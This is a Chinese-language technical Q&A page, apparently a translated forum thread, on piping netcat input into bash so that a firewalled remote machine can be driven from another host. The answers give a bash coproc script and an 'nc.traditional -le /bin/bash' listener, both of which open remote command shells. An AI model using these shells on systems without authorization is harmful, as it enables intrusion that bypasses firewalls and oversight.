netcat 监听并发送结果的魔法

netcat 监听并发送结果的魔法

我正在尝试监听netcat连接到远程计算机的情况,对来自远程计算机的每个文本运行 bash 并将命令的结果发送回远程计算机。

是的。完全是黑客行为。

我有点像这样工作:

在我的本地机器上,我运行netcat -l -p 8765

在远程、有防火墙的机器上,我运行netcat <ipofmylocalmachine> 8765 | bash -

tail -f /tmp/output当我在远程计算机上执行 a 并输入 a 时,我可以看到命令的结果echo "test" > /tmp/output

但是如何在本地计算机上查看 bash 命令的结果呢?

我可以使用 Python 和 Perl 来完成此操作,但是如何仅使用 bash 来完成此操作呢?

作为注释,我知道反向 shell 解释,例如http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/,但请注意,我正在寻找的东西有点不同。所打开的端口不是在服务器上打开的端口,而是在客户端上打开的,该客户端没有防火墙。

答案1

基本上你想要做的是将netcat的STDOUT连接到bash的STDIN,并将bash的STDOUT连接到netcat的STDIN。

Bash 有多种启动命令的方法,但只有一种启动命令并且能够读取和写入命令的方法。 Bash 称其为协程

因此,让我们看看最终的脚本,它可以让我们做我们想做的事情,然后我们将对其进行剖析。

#!/bin/bash
coproc netcat -l -p 8765
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1

因此,第一行在netcat后台启动,将 STDOUT 分配netcat给编号存储的文件描述符${COPROC[0]},将 STDIN 分配netcat给编号存储在 中的文件描述符${COPROC[1]}
所以现在我们需要将这些文件描述符重定向到bash的STDIN/STDOUT/STDERR。然而,当 bash 运行脚本时,它是从脚本文件读取命令,并且没有办法告诉它切换到从文件描述符读取。所以我们重新执行 bash,STDIN 连接到${COPROC[0]},STDOUT 连接到${COPROC[1]},STDERR 也连接到${COPROC[1]}

答案2

您将需要该netcat-traditional包裹。

只需使用命令:

$ nc.traditional -le /bin/bash -p <port to listen>

例如:

nc.traditional -le /bin/bash -p 8888

连接并运行ls,您应该能够看到这些文件。

相关内容